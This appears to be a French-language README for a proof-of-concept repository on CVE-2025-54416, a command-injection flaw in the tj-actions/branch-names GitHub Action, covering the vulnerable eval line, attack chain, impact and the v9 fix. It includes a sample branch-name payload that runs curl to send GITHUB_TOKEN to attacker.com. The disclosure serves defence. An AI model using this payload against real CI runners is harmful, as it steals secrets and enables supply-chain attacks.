CVE-2025-54416: tj-actions/branch-names Preuve de concept d'injection de commandes

Ce dépôt démontre CVE-2025-54416, une vulnérabilité critique d'injection de commandes dans tj-actions/branch-names affectant plus de 5 000 dépôts publics.

Vulnérabilité

L'action GitHub tj-actions/branch-names (versions <= 8.2.1) utilise un eval printf "%s" dangereux qui réintroduit des risques d'injection de commandes après une désinfection appropriée.

# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"

Chaîne d'attaque

1. L'attaquant crée une branche avec un nom malveillant contenant des commandes shell
2. Le workflow de la victime utilise tj-actions/[email protected] pour extraire le nom de la branche
3. Le nom de la branche extrait (avec la charge utile de l'attaquant) est utilisé dans des commandes shell ultérieures
4. La commande s'exécute dans le contexte du runner CI avec les privilèges du runner
5. Les secrets (clés AWS, GITHUB_TOKEN, etc.) sont exfiltrés

Exemple de charge utile

Nom de la branche : main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)

Lorsque le workflow s'exécute :

echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN

Impact

• Vol de secrets sensibles (clés AWS, jetons API, GITHUB_TOKEN)
• Modifications non autorisées du code
• Poussées d'images malveillantes vers les registres de production
• Attaques de la chaîne d'approvisionnement via CI/CD compromis

Correctif

Mettez à jour vers tj-actions/branch-names@v9 ou ultérieur, qui remplace eval printf "%s" par des appels printf sécurisés.

Références

• GitHub Advisory GHSA-gq52-6phf-x2r6
• CVE-2025-54416